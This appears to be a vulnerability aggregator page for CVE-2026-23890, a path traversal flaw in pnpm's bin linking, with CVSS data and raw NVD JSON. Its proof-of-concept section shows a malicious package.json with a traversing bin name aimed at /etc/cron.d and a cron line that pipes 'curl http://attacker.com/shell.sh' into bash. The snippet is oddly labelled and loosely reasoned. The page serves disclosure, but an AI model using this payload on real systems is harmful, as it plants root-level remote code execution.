Security Vulnerability Report
中文
CVE-2026-23890 CVSS 6.5 MEDIUM

CVE-2026-23890

Published: 2026-01-26 22:15:56
Last Modified: 2026-01-28 17:32:22

Description

pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of `node_modules/.bin`. Bin names starting with `@` bypass validation, and after scope normalization, path traversal sequences like `../../` remain intact. This issue affects all pnpm users who install npm packages and CI/CD pipelines using pnpm. It can lead to overwriting config files, scripts, or other sensitive files. Version 10.28.1 contains a patch.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:node.js:*:* - VULNERABLE
pnpm < 10.28.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
{ "name": "malicious-pkg", "version": "1.0.0", "description": "PoC for CVE-2026-23890 path traversal in pnpm bin linking", "bin": { "@scope/../../../../etc/cron.d/malicious": "./scripts/malicious.sh" }, "scripts": { "preinstall": "echo 'Malicious package installed'" } } # The malicious.sh script content: #!/bin/bash # This script would be executed when the bin link is created # It can write arbitrary content to the path traversal target echo '* * * * * root /bin/bash -c \"curl http://attacker.com/shell.sh | bash\"' > ../../../../etc/cron.d/malicious

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23890", "sourceIdentifier": "[email protected]", "published": "2026-01-26T22:15:56.363", "lastModified": "2026-01-28T17:32:21.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of `node_modules/.bin`. Bin names starting with `@` bypass validation, and after scope normalization, path traversal sequences like `../../` remain intact. This issue affects all pnpm users who install npm packages and CI/CD pipelines using pnpm. It can lead to overwriting config files, scripts, or other sensitive files. Version 10.28.1 contains a patch."}, {"lang": "es", "value": "pnpm es un gestor de paquetes. Antes de la versión 10.28.1, una vulnerabilidad de salto de ruta en el enlace de binarios de pnpm permite a paquetes npm maliciosos crear shims ejecutables o enlaces simbólicos fuera de 'node_modules/.bin'. Los nombres de binarios que comienzan con '@' eluden la validación, y después de la normalización del ámbito, secuencias de salto de ruta como '../../' permanecen intactas. Este problema afecta a todos los usuarios de pnpm que instalan paquetes npm y a los pipelines CI/CD que utilizan pnpm. Puede llevar a la sobrescritura de archivos de configuración, scripts u otros archivos sensibles. La versión 10.28.1 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "10.28.1", "matchCriteriaId": "5AFF60E6-D1CC-46A7-9122-988E9B68D1B9"}]}]}], "references": [{"url": "https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnpm/pnpm/releases/tag/v10.28.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}